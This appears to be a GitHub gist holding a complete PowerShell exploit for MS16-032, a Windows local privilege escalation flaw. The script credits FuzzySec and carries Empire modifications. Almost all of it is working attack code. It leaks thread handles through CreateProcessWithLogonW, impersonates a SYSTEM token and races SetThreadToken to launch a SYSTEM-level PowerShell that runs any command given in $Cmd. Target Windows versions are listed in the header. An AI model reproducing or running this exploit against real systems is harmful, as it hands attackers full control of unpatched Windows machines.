function Invoke-MS16-032 { | |
<# | |
.SYNOPSIS | |
PowerShell implementation of MS16-032. The exploit targets all vulnerable | |
operating systems that support PowerShell v2+. Credit for the discovery of | |
the bug and the logic to exploit it go to James Forshaw (@tiraniddo) and @Fuzzysec for the original PS script. | |
Modifications by Mike Benich (@benichmt1). | |
Targets: | |
* Win7-Win10 & 2k8-2k12 <== 32/64 bit! | |
* Tested on x32 Win7, x64 Win8, x64 2k12R2 | |
Notes: | |
* In order for the race condition to succeed the machine must have 2+ CPU | |
cores. If testing in a VM just make sure to add a core if needed mkay. | |
* The exploit is pretty reliable, however ~1/6 times it will say it succeeded | |
but not spawn a shell. Not sure what the issue is but just re-run and profit! | |
* Want to know more about MS16-032 ==> | |
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html | |
.DESCRIPTION | |
Author: Ruben Boonen (@FuzzySec) | |
Blog: http://www.fuzzysecurity.com/ | |
License: BSD 3-Clause | |
Required Dependencies: PowerShell v2+ | |
Optional Dependencies: None | |
Empire Updates - Mike Benich / @benichmt1 | |
.EXAMPLE | |
C:\PS> Invoke-MS16-032 | |
#> | |
param ( | |
[Parameter(Mandatory = $True)] | |
[string]$Cmd | |
) | |
Add-Type -TypeDefinition @" | |
using System; | |
using System.Diagnostics; | |
using System.Runtime.InteropServices; | |
using System.Security.Principal; | |
[StructLayout(LayoutKind.Sequential)] | |
public struct PROCESS_INFORMATION | |
{ | |
public IntPtr hProcess; | |
public IntPtr hThread; | |
public int dwProcessId; | |
public int dwThreadId; | |
} | |
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] | |
public struct STARTUPINFO | |
{ | |
public Int32 cb; | |
public string lpReserved; | |
public string lpDesktop; | |
public string lpTitle; | |
public Int32 dwX; | |
public Int32 dwY; | |
public Int32 dwXSize; | |
public Int32 dwYSize; | |
public Int32 dwXCountChars; | |
public Int32 dwYCountChars; | |
public Int32 dwFillAttribute; | |
public Int32 dwFlags; | |
public Int16 wShowWindow; | |
public Int16 cbReserved2; | |
public IntPtr lpReserved2; | |
public IntPtr hStdInput; | |
public IntPtr hStdOutput; | |
public IntPtr hStdError; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct SQOS | |
{ | |
public int Length; | |
public int ImpersonationLevel; | |
public int ContextTrackingMode; | |
public bool EffectiveOnly; | |
} | |
public static class Advapi32 | |
{ | |
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] | |
public static extern bool CreateProcessWithLogonW( | |
String userName, | |
String domain, | |
String password, | |
int logonFlags, | |
String applicationName, | |
String commandLine, | |
int creationFlags, | |
int environment, | |
String currentDirectory, | |
ref STARTUPINFO startupInfo, | |
out PROCESS_INFORMATION processInformation); | |
[DllImport("advapi32.dll", SetLastError=true)] | |
public static extern bool SetThreadToken( | |
ref IntPtr Thread, | |
IntPtr Token); | |
[DllImport("advapi32.dll", SetLastError=true)] | |
public static extern bool OpenThreadToken( | |
IntPtr ThreadHandle, | |
int DesiredAccess, | |
bool OpenAsSelf, | |
out IntPtr TokenHandle); | |
[DllImport("advapi32.dll", SetLastError=true)] | |
public static extern bool OpenProcessToken( | |
IntPtr ProcessHandle, | |
int DesiredAccess, | |
ref IntPtr TokenHandle); | |
[DllImport("advapi32.dll", SetLastError=true)] | |
public extern static bool DuplicateToken( | |
IntPtr ExistingTokenHandle, | |
int SECURITY_IMPERSONATION_LEVEL, | |
ref IntPtr DuplicateTokenHandle); | |
} | |
public static class Kernel32 | |
{ | |
[DllImport("kernel32.dll")] | |
public static extern uint GetLastError(); | |
[DllImport("kernel32.dll", SetLastError=true)] | |
public static extern IntPtr GetCurrentProcess(); | |
[DllImport("kernel32.dll", SetLastError=true)] | |
public static extern IntPtr GetCurrentThread(); | |
[DllImport("kernel32.dll", SetLastError=true)] | |
public static extern int GetThreadId(IntPtr hThread); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern int GetProcessIdOfThread(IntPtr handle); | |
[DllImport("kernel32.dll",SetLastError=true)] | |
public static extern int SuspendThread(IntPtr hThread); | |
[DllImport("kernel32.dll",SetLastError=true)] | |
public static extern int ResumeThread(IntPtr hThread); | |
[DllImport("kernel32.dll", SetLastError=true)] | |
public static extern bool TerminateProcess( | |
IntPtr hProcess, | |
uint uExitCode); | |
[DllImport("kernel32.dll", SetLastError=true)] | |
public static extern bool CloseHandle(IntPtr hObject); | |
[DllImport("kernel32.dll", SetLastError=true)] | |
public static extern bool DuplicateHandle( | |
IntPtr hSourceProcessHandle, | |
IntPtr hSourceHandle, | |
IntPtr hTargetProcessHandle, | |
ref IntPtr lpTargetHandle, | |
int dwDesiredAccess, | |
bool bInheritHandle, | |
int dwOptions); | |
} | |
public static class Ntdll | |
{ | |
[DllImport("ntdll.dll", SetLastError=true)] | |
public static extern int NtImpersonateThread( | |
IntPtr ThreadHandle, | |
IntPtr ThreadToImpersonate, | |
ref SQOS SecurityQualityOfService); | |
} | |
"@ | |
function Get-ThreadHandle { | |
# StartupInfo Struct | |
$StartupInfo = New-Object STARTUPINFO | |
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES | |
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread() | |
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread() | |
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread() | |
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size | |
# ProcessInfo Struct | |
$ProcessInfo = New-Object PROCESS_INFORMATION | |
# CreateProcessWithLogonW --> lpCurrentDirectory | |
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName | |
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED | |
$CallResult = [Advapi32]::CreateProcessWithLogonW( | |
"user", "domain", "pass", | |
0x00000002, "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", " -command $Cmd", | |
0x00000004, $null, $GetCurrentPath, | |
[ref]$StartupInfo, [ref]$ProcessInfo) | |
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS | |
$lpTargetHandle = [IntPtr]::Zero | |
$CallResult = [Kernel32]::DuplicateHandle( | |
$ProcessInfo.hProcess, 0x4, | |
[Kernel32]::GetCurrentProcess(), | |
[ref]$lpTargetHandle, 0, $false, | |
0x00000002) | |
# Clean up suspended process | |
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) | |
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) | |
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) | |
$lpTargetHandle | |
} | |
function Get-SystemToken { | |
echo "`n[?] Trying thread handle: $Thread" | |
echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)" | |
$CallResult = [Kernel32]::SuspendThread($Thread) | |
if ($CallResult -ne 0) { | |
echo "[!] $Thread is a bad thread, moving on.." | |
Return | |
} echo "[+] Thread suspended" | |
echo "[>] Wiping current impersonation token" | |
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero) | |
if (!$CallResult) { | |
echo "[!] SetThreadToken failed, moving on.." | |
$CallResult = [Kernel32]::ResumeThread($Thread) | |
echo "[+] Thread resumed!" | |
Return | |
} | |
echo "[>] Building SYSTEM impersonation token" | |
# SecurityQualityOfService struct | |
$SQOS = New-Object SQOS | |
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation | |
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS) | |
# Undocumented API's, I like your style Microsoft ;) | |
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos) | |
if ($CallResult -ne 0) { | |
echo "[!] NtImpersonateThread failed, moving on.." | |
$CallResult = [Kernel32]::ResumeThread($Thread) | |
echo "[+] Thread resumed!" | |
Return | |
} | |
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE | |
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle) | |
if (!$CallResult) { | |
echo "[!] OpenThreadToken failed, moving on.." | |
$CallResult = [Kernel32]::ResumeThread($Thread) | |
echo "[+] Thread resumed!" | |
Return | |
} | |
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle" | |
echo "[+] Resuming thread.." | |
$CallResult = [Kernel32]::ResumeThread($Thread) | |
} | |
# main() <--- ;) | |
$ms16032 = @" | |
__ __ ___ ___ ___ ___ ___ ___ | |
| V | _|_ | | _|___| |_ |_ | | |
| |_ |_| |_| . |___| | |_ | _| | |
|_|_|_|___|_____|___| |___|___|___| | |
[by b33f -> @FuzzySec] | |
"@ | |
$ms16032 | |
# Check logical processor count, race condition requires 2+ | |
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)" | |
if ($([System.Environment]::ProcessorCount) -lt 2) { | |
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n" | |
Return | |
} | |
# Create array for Threads & TID's | |
$ThreadArray = @() | |
$TidArray = @() | |
echo "[>] Duplicating CreateProcessWithLogonW handles.." | |
# Loop Get-ThreadHandle and collect thread handles with a valid TID | |
for ($i=0; $i -lt 500; $i++) { | |
$hThread = Get-ThreadHandle | |
$hThreadID = [Kernel32]::GetThreadId($hThread) | |
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray | |
if ($TidArray -notcontains $hThreadID) { | |
$TidArray += $hThreadID | |
if ($hThread -ne 0) { | |
$ThreadArray += $hThread # This is what we need! | |
} | |
} | |
} | |
if ($($ThreadArray.length) -eq 0) { | |
echo "[!] No valid thread handles were captured, exiting!`n" | |
Return | |
} else { | |
echo "[?] Done, got $($ThreadArray.length) thread handle(s)!" | |
echo "`n[?] Thread handle list:" | |
$ThreadArray | |
} | |
echo "`n[*] Sniffing out privileged impersonation token.." | |
foreach ($Thread in $ThreadArray){ | |
# Null $SysTokenHandle | |
$script:SysTokenHandle = [IntPtr]::Zero | |
# Get handle to SYSTEM access token | |
Get-SystemToken | |
# If we fail a check in Get-SystemToken, skip loop | |
if ($SysTokenHandle -eq 0) { | |
continue | |
} | |
echo "`n[*] Sniffing out SYSTEM shell.." | |
echo "`n[>] Duplicating SYSTEM token" | |
$hDuplicateTokenHandle = [IntPtr]::Zero | |
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle) | |
# Simple PS runspace definition | |
echo "[>] Starting token race" | |
$Runspace = [runspacefactory]::CreateRunspace() | |
$StartTokenRace = [powershell]::Create() | |
$StartTokenRace.runspace = $Runspace | |
$Runspace.Open() | |
[void]$StartTokenRace.AddScript({ | |
Param ($Thread, $hDuplicateTokenHandle) | |
while ($true) { | |
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle) | |
} | |
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle) | |
$AscObj = $StartTokenRace.BeginInvoke() | |
echo "[>] Starting process race" | |
# Adding a timeout (10 seconds) here to safeguard from edge-cases | |
$SafeGuard = [diagnostics.stopwatch]::StartNew() | |
while ($SafeGuard.ElapsedMilliseconds -lt 10000) { | |
# StartupInfo Struct | |
$StartupInfo = New-Object STARTUPINFO | |
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size | |
# ProcessInfo Struct | |
$ProcessInfo = New-Object PROCESS_INFORMATION | |
# CreateProcessWithLogonW --> lpCurrentDirectory | |
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName | |
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED | |
$CallResult = [Advapi32]::CreateProcessWithLogonW( | |
"user", "domain", "pass", | |
0x00000002, "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", " -command $Cmd", | |
0x00000004, $null, $GetCurrentPath, | |
[ref]$StartupInfo, [ref]$ProcessInfo) | |
$hTokenHandle = [IntPtr]::Zero | |
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle) | |
# If we can't open the process token it's a SYSTEM shell! | |
if (!$CallResult) { | |
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n" | |
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread) | |
$StartTokenRace.Stop() | |
$SafeGuard.Stop() | |
Return | |
} | |
# Clean up suspended process | |
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) | |
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) | |
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) | |
} | |
# Kill runspace & stopwatch if edge-case | |
$StartTokenRace.Stop() | |
$SafeGuard.Stop() | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment